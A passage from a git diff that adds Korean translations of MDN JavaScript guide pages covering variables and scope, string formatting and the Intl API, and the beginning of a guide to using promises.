+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Values", "fr": "fr/Guide_JavaScript_1.5/Valeurs", "ja": "ja/Core_JavaScript_1.5_Guide/Values", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Warto\u015bci" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/variables/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/variables/index.html
new file mode 100644
index 0000000000..f31c37bc9c
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/variables/index.html
@@ -0,0 +1,64 @@
+---
+title: Variables
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Variables
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<h3 id=".EB.B3.80.EC.88.98" name=".EB.B3.80.EC.88.98"> 변수 </h3>
+<p>우리는 프로그램 내에서 값에 이름을 부여하기 위해서 변수를 사용할 수 있습니다. 변수의 이름은 "식별자(identifier)"라고 불리며, 몇 가지 규칙을 따라야 합니다.
+</p><p>JavaScript 의 식별자는 문자(letter)나 밑줄(_)이나 달러 기호($)로 시작해야 합니다. 그 뒤에는 숫자(0-9)도 올 수 있습니다. JavaScript는 대소문자를 구별하기 때문에, 문자는 대문자 "A"부터 "Z"까지와 소문자 "a"부터 "z"까지를 사용할 수 있습니다.
+</p><p>JavaScript 1.5부터, 식별자에 å나 ü같은 ISO 8859-1이나 유니코드 문자를 사용할 수 있습니다. 또한 <a href="ko/Core_JavaScript_1.5_Guide/Unicode#.EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84_.EC.8B.9C.ED.80.80.EC.8A.A4">유니코드 이스케이프 시퀀스</a> 페이지에 나열된 \uXXXX 형식 유니코드 이스케이프 시퀀스를 식별자에 쓸 수도 있습니다.
+</p><p>규칙에 맞는 이름 몇 가지는 이런 것입니다. <code>Number_hits</code>, <code>temp99</code>, <code>_name</code>.
+</p>
+<h4 id=".EB.B3.80.EC.88.98_.EC.84.A0.EC.96.B8" name=".EB.B3.80.EC.88.98_.EC.84.A0.EC.96.B8"> 변수 선언 </h4>
+<p>변수를 선언하는 방법에는 두 가지가 있습니다.
+</p>
+<ul><li> <a href="ko/Core_JavaScript_1.5_Reference/Statements/var">var</a> 키워드를 이용하는 방법. 예를 들면 <code>var x = 42</code> 같은 식입니다. 이 문법은 <a href="#.EB.B3.80.EC.88.98_.EB.B2.94.EC.9C.84">지역, 전역</a> 변수를 선언하는데 모두 사용할 수 있습니다.
+</li><li> 그냥 값을 대입하는 방법. <code>x = 42</code> 같은 식입니다. 이 방법은 항상 <a href="#.EC.A0.84.EC.97.AD_.EB.B3.80.EC.88.98">전역 변수</a>를 선언하고, strict JavaScript 경고를 냅니다. 이 방법은 절대 사용하지 맙시다.
+</li></ul>
+<h4 id=".EB.B3.80.EC.88.98.EB.A5.BC_.ED.8F.89.EA.B0.80.ED.95.98.EA.B8.B0.28Evaluating.29" name=".EB.B3.80.EC.88.98.EB.A5.BC_.ED.8F.89.EA.B0.80.ED.95.98.EA.B8.B0.28Evaluating.29"> 변수를 평가하기(Evaluating) </h4>
+<p>초기값을 지정하지 않고 <code>var</code> 문장을 이용해서 선언한 변수는 <a href="ko/Core_JavaScript_1.5_Reference/Global_Properties/undefined">undefined</a>라는 값을 갖습니다.
+</p><p>선언하지 않은 변수에 접근하려고 하면 ReferenceError 예외가 발생합니다.
+</p>
+<pre class="eval">var a;
+print("The value of a is " + a); // prints "The value of a is undefined"
+print("The value of b is " + b); // throws ReferenceError exception
+</pre>
+<p>변수가 값을 갖고 있는지 결정하기 위해서 <code>undefined</code>를 사용할 수 있습니다. 다음 코드에서 <code>input</code>에는 값을 할당하지 않아서 <code><a href="ko/Core_JavaScript_1.5_Reference/Statements/if...else">if</a></code>문은 <code>true</code>로 평가됩니다.
+</p>
+<pre>var input;
+if(input === undefined){
+   doThis();
+} else {
+   doThat();
+}</pre>
+<p><span class="comment">Not sure how the following is related to "Variables" section</span>
+<code>undefined</code>값을 참/거짓을 판별하는 구문에 쓰면 <code>false</code>로 평가됩니다. 예를 들어 다음 코드에서는 <code>myArray</code>의 원소가 정의되지 않았기 때문에 <code>myFunction</code> 함수가 실행됩니다.
+</p>
+<pre>myArray=new Array()
+if (!myArray[0])
+   myFunction();</pre>
+<p>숫자가 필요한 문맥에서 null 변수를 평가하면 null 값은 0으로 평가되고, 참/거짓이 필요한 문맥에서는 false로 평가됩니다.
+When you evaluate a null variable, the null value behaves as 0 in numeric contexts and as false in boolean contexts. For example:
+</p>
+<pre>var n = null;
+n * 32; //0을 반환합니다</pre>
+<h4 id=".EB.B3.80.EC.88.98_.EB.B2.94.EC.9C.84" name=".EB.B3.80.EC.88.98_.EB.B2.94.EC.9C.84"> 변수 범위 </h4>
+<p>함 수 외부에서 선언한 변수는 "전역(global)" 변수라고 부릅니다. 그 변수는 현재 문서의 모든 코드에서 접근할 수 있기 때문입니다. 함수 안에서 선언한 변수는 "지역(local)" 변수라고 부릅니다. 그 변수는 함수 안에서만 접근할 수 있기 때문입니다.
+</p><p>JavaScript에는 <a href="ko/Core_JavaScript_1.5_Guide/Block_Statement#.EB.B8.94.EB.A1.9D_.EB.AC.B8.EC.9E.A5">블록 문장</a> 범위가 없습니다. 대신 그 블록이 포함된 코드의 지역 범위에 포함됩니다. 예를 들어 다음 코드에서는 <code>condition</code>이 <code>false</code>이면 예외를 발생시키는 대신 0을 출력합니다.
+</p>
+<pre class="eval">if (condition) {
+  var x = 5;
+}
+print(x ? x : 0);
+</pre>
+<p>JavaScript의 변수와 관련해서 또다른 색다른 점은 나중에 선언될 변수에 예외 발생없이 접근할 수 있다는 것입니다.
+</p>
+<pre class="eval">print(x === undefined); // prints "true"
+var x = 3;
+</pre>
+<h4 id=".EC.A0.84.EC.97.AD_.EB.B3.80.EC.88.98" name=".EC.A0.84.EC.97.AD_.EB.B3.80.EC.88.98"> 전역 변수 </h4>
+<p><span class="comment">need links to pages discussing scope chains and the global object</span>
+전역 변수는, 실제로는 "전역 개체(global object)"의 속성(property)입니다. 웹 페이지에서 전역 개체는 <a href="ko/DOM/window">window</a>이므로, <code>window.<i>variable</i></code> 문장을 이용해서 전역 변수에 접근할 수 있습니다.
+</p><p>그러므로, window나 frame 이름을 이용하면 다른 window나 frame에 정의된 전역 변수에 접근할 수 있습니다. 예를 들어 <code>phoneNumber</code>라는 변수를 <code>FRAMESET</code> 문서에 정의했다면, 자식 frame에서 <code>parent.phoneNumber</code>로 그 변수에 접근할 수 있습니다.
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Values", "Core_JavaScript_1.5_Guide:Constants") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Variables", "fr": "fr/Guide_JavaScript_1.5/Variables", "ja": "ja/Core_JavaScript_1.5_Guide/Variables", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Zmienne" } ) }}
diff --git a/files/ko/web/javascript/guide/text_formatting/index.html b/files/ko/web/javascript/guide/text_formatting/index.html
new file mode 100644
index 0000000000..027e92c262
--- /dev/null
+++ b/files/ko/web/javascript/guide/text_formatting/index.html
@@ -0,0 +1,275 @@
+---
+title: 텍스트 서식
+slug: Web/JavaScript/Guide/Text_formatting
+translation_of: Web/JavaScript/Guide/Text_formatting
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}</div>
+
+<p class="summary">이 장에서는 JavaScript에서 문자열과 텍스트로 작업하는 방법을 소개합니다.</p>
+
+<h2 id="문자열">문자열</h2>
+
+<p> JavaScript의 {{Glossary("문자열")}} 유형은 원문의 데이터를 나타내는데 사용됩니다. 이는 16비트 부호 없는 정수 값(UTF-16 code units)의 "요소" 집합입니다. String의 각 요소(문자)는 String에서 하나의 위치를 차지합니다. 첫 번째 요소는 인덱스 0 다음은 인덱스 1 등등... 문자열의 길이는 요소의 수와 같습니다. 문자열 리터럴 또는 문자열 객체를 사용하여 문자열을 만들 수 있습니다.</p>
+
+<p> </p>
+
+<p>주의 : 이페이지를 수정한다면 MDN bug 857438이 해결될 때 까지 U+FFFF이상의 문자를 포함하지 마세요. ( <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=857438">https://bugzilla.mozilla.org/show_bug.cgi?id=857438</a> ).</p>
+
+<h3 id="문자열_리터럴">문자열 리터럴</h3>
+
+<p>작은따옴표나 큰따옴표를 사용하여 간단한 문자열을 만들 수 있습니다:</p>
+
+<pre class="brush: js">'foo'
+"bar"</pre>
+
+<p>보다 많은 문자열을 이스케이프 시퀀스를 사용하여 만들 수 있습니다</p>
+
+<h4 id="16진수_이스케이프_시퀀스">16진수 이스케이프 시퀀스</h4>
+
+<p>\x 뒤에 수는 <a href="https://en.wikipedia.org/wiki/Hexadecimal">16진수</a>로 해석(interpreted)됩니다.</p>
+
+<pre class="brush: js">'\xA9' // "©"
+</pre>
+
+<h4 id="유니코드_이스케이프_시퀀스">유니코드 이스케이프 시퀀스</h4>
+
+<p>유니코드 이스케이프 시퀀스는 \u 다음에 적어도 네 개의 16진수 숫자(digit)를 필요로 합니다.</p>
+
+<pre class="brush: js">'\u00A9' // "©"</pre>
+
+<h4 id="유니코드_코드_포인트_이스케이프">유니코드 코드 포인트 이스케이프</h4>
+
+<p>ECMAScript 6의 새로운 기능. 유니 코드 포인트 이스케이프를 사용하면 16 진수를 사용하여 모든 문자를 이스케이프 처리 할 수 ​​있으므로 최대 <code>0x10FFFF</code>의 유니 코드 코드 포인트를 사용할 수 있습니다. 간단한 유니 코드 이스케이프를 사용하면 동일한 결과를 얻기 위해서 서로 게이트를 별도로 작성해야하는 경우가 있습니다.</p>
+
+<p>{{jsxref("String.fromCodePoint()")}} 나 {{jsxref("String.prototype.codePointAt()")}}를 참고하세요.</p>
+
+<pre class="brush: js">'\u{2F804}'
+
+// the same with simple Unicode escapes
+'\uD87E\uDC04'</pre>
+
+<h3 id="문자열_개체">문자열 개체</h3>
+
+<p>{{jsxref("문자열")}} 개체<span>는 문자열 기본 데이터 형식의 래퍼입니다.</span></p>
+
+<pre class="brush: js">var s = new String("foo"); // Creates a String object
+console.log(s); // Displays: { '0': 'f', '1': 'o', '2': 'o'}
+typeof s; // Returns 'object'
+</pre>
+
+<p>여러분은 문자열 리터럴 값에 문자열 개체의 방법 중 하나를 호출 할 수 있습니다.—JavaScript가 자동으로 문자열 리터럴을 임시 문자열 개체로 변환하고, 메서드를 호출하고, 그리고나서 임시 문자열 개체를 삭제합니다. 또한, <code>String.length</code> 속성을 문자열 리터럴과 함께 사용할 수 있습니다.</p>
+
+<p>특별히 <code>String</code> 개체를 사용할 필요가 없지 않는 한, <code>String</code> 개체는 직관에 반하는 행동을 할 수 있기 때문에 여러분은 string 리터럴을 사용해야합니다. 예를들어:</p>
+
+<pre class="brush: js">var s1 = "2 + 2"; // Creates a string literal value
+var s2 = new String("2 + 2"); // Creates a String object
+eval(s1); // Returns the number 4
+eval(s2); // Returns the string "2 + 2"</pre>
+
+<p><span class="atn">문자열 개체</span><span>는</span> <span class="atn hps">문자열</span><span>의 문자 수를</span> <span class="hps">나타내는</span> <span class="atn hps">하나의 속성</span><span>,</span> <span class="atn hps">길이</span><span class="atn">를 갖습니다</span><span>.</span> 예를 들어, "Hello, World!"가 13자 이므로 다음 코드는 <span class="hps">x를 값 13으로 할당합니다. <code>String</code> 객체는 문자열에있는 UTF-16 코드 단위의 수를 나타내는 길이가 하나의 속성을 가집니다. 예를 들어, 다음 코드에서는 "Hello, World!"가 UTF-16 코드 단위로 표현되는 13개의 문자를 가지고 있기 때문에 x 값이 13이 됩니다. 배열 브래킷 스타일을 사용하여 각 코드 단위에 액세스 할 수 있습니다. 문자열은 변경 불가능한 배열과 같은 객체이기 때문에 개별 문자를 변경할 수 없습니다.</span></p>
+
+<pre><code>var mystring = 'Hello, World!';
+var x = mystring.length;
+mystring[0] = 'L'; // This has no effect, because strings are immutable
+mystring[0]; // This returns "H"</code></pre>
+
+<p>유니 코드 스칼라 값이 U + FFFF (희귀 한 중국어 / 일본어 / 한국어 / 베트남어 문자 및 일부 이모티콘)보다 큰 문자는 각각 서로 다른 두 개의 코드 단위로 UTF-16에 저장됩니다. 예를 들어, 단일 문자 U + 1F600 "Emoji grinning face"를 포함하는 문자열은 길이가 2입니다. 대괄호를 사용하여 이러한 문자열의 개별 코드 단위에 액세스하면 일치하지 않는 대리 코드 단위가있는 문자열이 만들어지는 등의 바람직하지 않은 결과가 발생할 수 있습니다. 유니 코드 표준 위반 MDN 버그 857438이 수정 된 후에 예제가 이 페이지에 추가되어야합니다. {{jsxref ( "String.fromCodePoint ()")}} 또는 {{jsxref ( "String.prototype.codePointAt ()")}}도 참조하십시오.</p>
+
+<p><code>String</code> 객체는 다양한 메서드가 있습니다: 문자열 자체의 변경된 결과를 반환하는 <code>substring</code>과 <code>toUpperCase</code>가 그것!</p>
+
+<p>다음 표는 {{jsxref("문자열")}} 개체의 메서드를 요약한 것입니다.</p>
+
+<table class="standard-table">
+ <caption>
+ <h4 id="문자열_메서드">문자열 메서드</h4>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Method</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("String.charAt", "charAt")}}, {{jsxref("String.charCodeAt", "charCodeAt")}}, {{jsxref("String.codePointAt", "codePointAt")}}</td>
+   <td>
+    <p>문자열에서 지정된 위치에 있는 문자나 문자 코드를 반환합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.indexOf", "indexOf")}}, {{jsxref("String.lastIndexOf", "lastIndexOf")}}</td>
+   <td>
+    <p>문자열에서 지정된 부분 문자열의 위치나 지정된 부분 문자열의 마지막 위치를 각각 반환합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.startsWith", "startsWith")}}, {{jsxref("String.endsWith", "endsWith")}}, {{jsxref("String.includes", "includes")}}</td>
+   <td>
+    <p>문자열 시작하고, 끝나고, 지정된 문자열을 포함하는지의 여부를 반환합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.concat", "concat")}}</td>
+   <td>
+    <p>두 문자열의 텍스트를 결합하고 새로운 문자열을 반환합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}}</td>
+   <td>
+    <p>유니코드 값의 지정된 시퀀스로부터 문자열을 구축합니다. 문자열 인스턴스가 아닌 문자열 클래스의 메서드입니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.split", "split")}}</td>
+   <td>
+    <p>부분 문자열로 문자열을 분리하여 문자열 배열로 문자열 개체를 분할합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.slice", "slice")}}</td>
+   <td>
+    <p>문자열의 한 부분을 추출하고 새 문자열을 반환합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.substring", "substring")}}, {{jsxref("String.substr", "substr")}}</td>
+   <td>
+    <p><span class="hps">어느</span> <span class="hps">시작 및 종료</span> <span class="hps">인덱스</span> <span class="hps">또는</span> <span class="hps">시작 인덱스</span> <span class="hps">및</span> <span class="atn hps">길이</span><span class="atn">를 지정하여, </span><span class="hps">문자열의</span> <span class="hps">지정된</span> <span class="hps">일부를</span> <span class="hps">반환합니다.</span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.match", "match")}}, {{jsxref("String.replace", "replace")}}, {{jsxref("String.search", "search")}}</td>
+   <td>
+    <p><span class="atn hps">정규 표현식</span><span>으로</span> <span class="hps">작업합니다.</span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.toLowerCase", "toLowerCase")}},<br>
+    {{jsxref("String.toUpperCase", "toUpperCase")}}</td>
+   <td>
+    <p>.<span class="hps">모든</span><span class="hps"> 소문자</span> <span class="hps">또는</span><span class="atn hps"> 대문자에서 각각 문자열을 반환합니다.</span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.normalize", "normalize")}}</td>
+   <td><span class="hps">호출</span> <span class="atn hps">문자열 값</span><span>의</span> <span class="hps">유니 코드 표준화</span> <span class="atn hps">양식</span><span>을 반환합니다.</span></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.repeat", "repeat")}}</td>
+   <td>
+    <p>주어진 회를 반복하는 개체 요소로 이루어진 문자열을 반환합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.trim", "trim")}}</td>
+   <td><span class="atn hps">문자열</span><span class="atn">의 시작과 끝</span><span>에서</span> <span class="hps">공백을</span> <span class="atn hps">자릅니다</span><span>.</span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="다중_선_템플릿_문자열">다중 선 템플릿 문자열</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/template_strings">템플릿 문자열</a>은 포함 식을 용납하는 문자열 리터럴입니다. 여러분은 그것들과 함께 다중 선 문자열 및 문자열 보간 기능을 사용할 수 있습니다.</p>
+
+<p>템플릿 문자열은 작은따옴표나 큰따옴표 대신에 back-tick (` `) (<a class="external external-icon" href="https://en.wikipedia.org/wiki/Grave_accent">grave accent</a>)문자로 묶습니다.<span> </span><span class="hps">템플릿</span> <span class="hps">문자열은</span> <span class="hps">자리 표시자를 </span><span>포함 할 수 있습니다</span>. <span class="hps">이들은</span> <span class="atn hps">달러 기호</span><span>와</span> <span class="atn hps">중괄호</span><span>로 표시됩니다</span>.  (<code>${expression}</code>)</p>
+
+<h4 id="다중_선">다중 선</h4>
+
+<p>소스에 삽입하는 새로운 선 문자는 템플릿 문자열의 일부입니다. 정상적인 문자열을 사용하면, 여러분은 다중 선 문자열을 얻기 위해 다음과 같은 구문을 사용해야합니다:</p>
+
+<pre class="brush: js">console.log("string text line 1\n\
+string text line 2");
+// "string text line 1
+// string text line 2"</pre>
+
+<p>다중 선 문자열과 같은 효과를 얻기 위해, 여러분은 이제 쓸 수 있습니다:</p>
+
+<pre class="brush: js">console.log(`string text line 1
+string text line 2`);
+// "string text line 1
+// string text line 2"</pre>
+
+<h4 id="포함식">포함식</h4>
+
+<p>일반 문자열 내에서 표현식을 포함하기 위해, 다음과 같은 구문을 사용합니다:</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log("Fifteen is " + (a + b) + " and\nnot " + (2 * a + b) + ".");
+// "Fifteen is 15 and
+// not 20."</pre>
+
+<p>이제, 템플릿 문자열을 가지고, 여러분은 읽기와 같이 대체를 만드는 syntactic sugar의 사용을 할 수 있습니다:</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`);
+// "Fifteen is 15 and
+// not 20."</pre>
+
+<p>자세한 내용은 <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript 참조</a>에서 <a href="/en-US/docs/Web/JavaScript/Reference/template_strings">템플릿 문자열</a>에 대해 읽어보세요.</p>
+
+<h2 id="국제화">국제화</h2>
+
+<p>{{jsxref("Intl")}} 개체는  ECMA스크립트 국제 API에 언어와 문자열과 숫자서식과 날짜와 시간서식을 제공하는 명칭공간입니다.  {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, 와 {{jsxref("DateTimeFormat")}} 개체들을 위한 생성자들은  <code>Intl</code> 개체의 특성들입니다.</p>
+
+<h3 id="날짜와_시간서식">날짜와 시간서식</h3>
+
+<p>{{jsxref("DateTimeFormat")}} 개체는 날짜와 시간을 서식하기에 유용합니다. 다음 코드는 미국에서 쓰이는 영어로 날짜를 서식합니다. (결과는 다른 시간대와 다릅니다)</p>
+
+<pre class="brush: js">var msPerDay = 24 * 60 * 60 * 1000;
+
+// July 17, 2014 00:00:00 UTC.
+var july172014 = new Date(msPerDay * (44 * 365 + 11 + 197));
+
+var options = { year: "2-digit", month: "2-digit", day: "2-digit",
+                hour: "2-digit", minute: "2-digit", timeZoneName: "short" };
+var americanDateTime = new Intl.DateTimeFormat("en-US", options).format;
+
+console.log(americanDateTime(july172014)); // 07/16/14, 5:00 PM PDT
+</pre>
+
+<h3 id="숫자_서식">숫자 서식</h3>
+
+<p>{{jsxref("NumberFormat")}}개체는 통화를 위해 숫자를 서식하는것에 대해 유용하다.</p>
+
+<pre class="brush: js">var gasPrice = new Intl.NumberFormat("en-US",
+                        { style: "currency", currency: "USD",
+                          minimumFractionDigits: 3 });
+
+console.log(gasPrice.format(5.259)); // $5.259
+
+var hanDecimalRMBInChina = new Intl.NumberFormat("zh-CN-u-nu-hanidec",
+                        { style: "currency", currency: "CNY" });
+
+console.log(hanDecimalRMBInChina.format(1314.25)); // ￥ 一,三一四.二五
+</pre>
+
+<h3 id="조합">조합</h3>
+
+<p>{{jsxref("Collator")}}개체는 문자열을 비교하고 구분하는 것에 대해 유용합니다.</p>
+
+<p>예를 들어, 실제로 독일에선 phonebook과 dictionary라는 2개의 다른 종류의 명령어들이 있습니다. 전화기록부류는 소리를 강조합니다. 그리고 구분에 앞서 다른것들은 “ä”, “ö”인것처럼 "ae", "oe"로 확장됐습니다. </p>
+
+<pre class="brush: js">var names = ["Hochberg", "Hönigswald", "Holzman"];
+
+var germanPhonebook = new Intl.Collator("de-DE-u-co-phonebk");
+
+// as if sorting ["Hochberg", "Hoenigswald", "Holzman"]:
+console.log(names.sort(germanPhonebook.compare).join(", "));
+// logs "Hochberg, Hönigswald, Holzman"
+</pre>
+
+<p>어떤 독일말들은 여분의 변모음과 함께 활용한다. 그래서 사전안에서 이것은 변모음을 무시하라고 명령하기에 실용적이다.</p>
+
+<pre class="brush: js">var germanDictionary = new Intl.Collator("de-DE-u-co-dict");
+
+// as if sorting ["Hochberg", "Honigswald", "Holzman"]:
+console.log(names.sort(germanDictionary.compare).join(", "));
+// logs "Hochberg, Holzman, Hönigswald"
+</pre>
+
+<p>{{jsxref("Intl")}}API에 대한 자세한 내용은 <a href="https://hacks.mozilla.org/2014/12/introducing-the-javascript-internationalization-api/">Introducing the JavaScript Internationalization API</a>를 참조하세요.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}</p>
diff --git a/files/ko/web/javascript/guide/using_promises/index.html b/files/ko/web/javascript/guide/using_promises/index.html
new file mode 100644
index 0000000000..bc847e561a
--- /dev/null
+++ b/files/ko/web/javascript/guide/using_promises/index.html
@@ -0,0 +1,361 @@
+---
+title: Using promises
+slug: Web/JavaScript/Guide/Using_promises
+tags:
+  - Promise
+  - Promises
+translation_of: Web/JavaScript/Guide/Using_promises
+---
+<div>{{jsSidebar("JavaScript Guide")}}{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
+
+<p class="summary">{{jsxref("Promise")}}는 비동기 작업의 최종 완료 또는 실패를 나타내는 객체입니다. 대부분 여러분은 이미 만들어진 promise를 사용했었기 때문에 이 가이드에서는 어떻게 promise를 만드는지 설명하기에 앞서 promise의 사용법에 대해 설명합니다.</p>
+
+<p>기본적으로 promise는 함수에 콜백을 전달하는 대신에, 콜백을 첨부하는 방식의 객체입니다.<br>
+  </p>
+
+<p>비동기로 음성 파일을 생성해주는  <code>createAudioFileAsync()</code>라는 함수가 있었다고 생각해보세요. 해당 함수는 음성 설정에 대한 정보를 받고, 두 가지 콜백 함수를 받습니다. 하나는 음성 파일이 성공적으로 생성되었을때 실행되는 콜백, 그리고 다른 하나는 에러가 발생했을때 실행되는 콜백입니다.</p>
+
+<p><code>createAudioFileAsync()</code>는 함수는 아래와 같이 사용됩니다.  </p>
+
+<pre class="notranslate"><code>function successCallback(result) {
+  console.log("Audio file ready at URL: " + result);
+}</code>
+
+<code>function failureCallback(error) {
+  console.log("Error generating audio file: " + error);
+}</code>
+
+<code>createAudioFileAsync(audioSettings, successCallback, failureCallback);</code></pre>
+
+<p>…모던한 함수들은 위와 같이 콜백들을 전달지 않고 콜백을 붙여 사용할 수 있게 Promise를 반환해줍니다.</p>
+
+<p>만약 <code>createAudioFileAsync()</code> 함수가 Promise를 반환해주도록 수정해본다면, 다음과 같이 간단하게 사용되어질 수 있습니다.</p>
+
+<pre class="notranslate"><code><span style='background-color: rgba(220, 220, 220, 0.5); font-family: consolas,"Liberation Mono",courier,monospace; font-style: inherit; font-weight: inherit;'>createAudioFileAsync(audioSettings).then(successCallback, failureCallback);</span></code></pre>
+
+<p>…조금 더 간단하게 써보자면:</p>
+
+<pre class="notranslate"><code>const promise = createAudioFileAsync(audioSettings);
+promise.then(successCallback, failureCallback);</code></pre>
+
+<p>우리는 이와 같은 것을 <em>비동기 함수 호출</em>이라고 부릅니다. 이런 관례는 몇 가지 장점을 갖고 있습니다. 각각에 대해 한번 살펴보도록 합시다.</p>
+
+<h2 id="Guarantees">Guarantees</h2>
+
+<p>콜백 함수를 전달해주는 고전적인 방식과는 달리, Promise는 아래와 같은 특징을 보장합니다.</p>
+
+<ul>
+ <li>콜백은 자바스크립트 Event Loop이 <a href="/en-US/docs/Web/JavaScript/EventLoop#Run-to-completion">현재 실행중인 콜 스택을 완료</a>하기 이전에는 절대 호출되지 않습니다.</li>
+ <li>비동기 작업이 성공하거나 실패한 뒤에 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code> 을 이용하여 추가한 콜백의 경우에도 위와 같습니다.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code>을 여러번 사용하여 여러개의 콜백을 추가 할 수 있습니다. 그리고 각각의 콜백은 주어진 순서대로 하나 하나 실행되게 됩니다.</li>
+</ul>
+
+<p>Promise의 가장 뛰어난 장점 중의 하나는 <strong>chaining</strong>입니다.</p>
+
+<h2 id="Chaining">Chaining</h2>
+
+<p>보통 하나나 두 개 이상의 비동기 작업을 순차적으로 실행해야 하는 상황을 흔히 보게 됩니다. 순차적으로 각각의 작업이 이전 단계 비동기 작업이 성공하고 나서 그 결과값을 이용하여 다음 비동기 작업을 실행해야 하는 경우를 의미합니다. 우리는 이런 상황에서 <strong>promise chain</strong>을 이용하여 해결하기도 합니다.</p>
+
+<p><code>then()</code> 함수는 새로운 promise를 반환합니다. 처음에 만들었던 promise와는 다른 새로운 promise입니다.</p>
+
+<pre class="brush: js notranslate">const promise = doSomething();
+const promise2 = promise.then(successCallback, failureCallback);
+</pre>
+
+<p>또는</p>
+
+<pre class="brush: js notranslate">const promise2 = doSomething().then(successCallback, failureCallback);
+</pre>
+
+<p>두 번째 promise는 <code>doSomething()</code> 뿐만 아니라 <code>successCallback</code> or <code>failureCallback</code> 의 완료를 의미합니다. <code>successCallback</code> or <code>failureCallback</code> 또한 promise를 반환하는 비동기 함수일 수도 있습니다. 이 경우 <code>promise2</code>에 추가 된 콜백은 <code>successCallback</code>또는 <code>failureCallback</code>에 의해 반환된 promise 뒤에 대기합니다.</p>
+
+<p>기본적으로, 각각의 promise는 체인 안에서 서로 다른 비동기 단계의 완료를 나타냅니다.</p>
+
+<p>예전에는 여러 비동기 작업을 연속적으로 수행하면 고전적인 '지옥의 콜백 피라미드'가 만들어 졌었습니다.</p>
+
+<pre class="brush: js notranslate">doSomething(function(result) {
+  doSomethingElse(result, function(newResult) {
+    doThirdThing(newResult, function(finalResult) {
+      console.log('Got the final result: ' + finalResult);
+    }, failureCallback);
+  }, failureCallback);
+}, failureCallback);
+</pre>
+
+<p>모던한 방식으로 접근한다면, 우리는 콜백 함수들을 반환된 promise에 promise chain을 형성하도록 추가할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">doSomething().then(function(result) {
+  return doSomethingElse(result);
+})
+.then(function(newResult) {
+  return doThirdThing(newResult);
+})
+.then(function(finalResult) {
+  console.log('Got the final result: ' + finalResult);
+})
+.catch(failureCallback);
+</pre>
+
+<p><code>then</code> 에 넘겨지는 인자는 선택적(optional)입니다. 그리고 <code>catch(failureCallback)</code> 는 <code>then(null, failureCallback)</code> 의 축약입니다. 이 표현식을 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">화살표 함수</a>로 나타내면 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">doSomething()
+.then(result =&gt; doSomethingElse(result))
+.then(newResult =&gt; doThirdThing(newResult))
+.then(finalResult =&gt; {
+  console.log(`Got the final result: ${finalResult}`);
+})
+.catch(failureCallback);
+</pre>
+
+<p><strong>중요:</strong> 반환값이 반드시 있어야 합니다, 만약 없다면 콜백 함수가 이전의 promise의 결과를 받지 못합니다.<br>
+ (화살표 함수 () =&gt; x는 () =&gt; {return x;}와 같습니다).</p>
+
+<h3 id="Chaining_after_a_catch">Chaining after a catch</h3>
+
+<p>chain에서 작업이 실패한 후에도 새로운 작업을 수행하는 것이 가능하며 매우 유용합니다. (예 : <code>catch</code>) 다음 예를 읽으십시오:</p>
+
+<pre class="brush: js notranslate">new Promise((resolve, reject) =&gt; {
+    console.log('Initial');
+
+    resolve();
+})
+.then(() =&gt; {
+    throw new Error('Something failed');
+
+    console.log('Do this');
+})
+.catch(() =&gt; {
+    console.log('Do that');
+})
+.then(() =&gt; {
+    console.log('Do this, whatever happened before');
+});
+</pre>
+
+<p>그러면 다음 텍스트가 출력됩니다.</p>
+
+<pre class="notranslate">Initial
+Do that
+Do this, whatever happened before
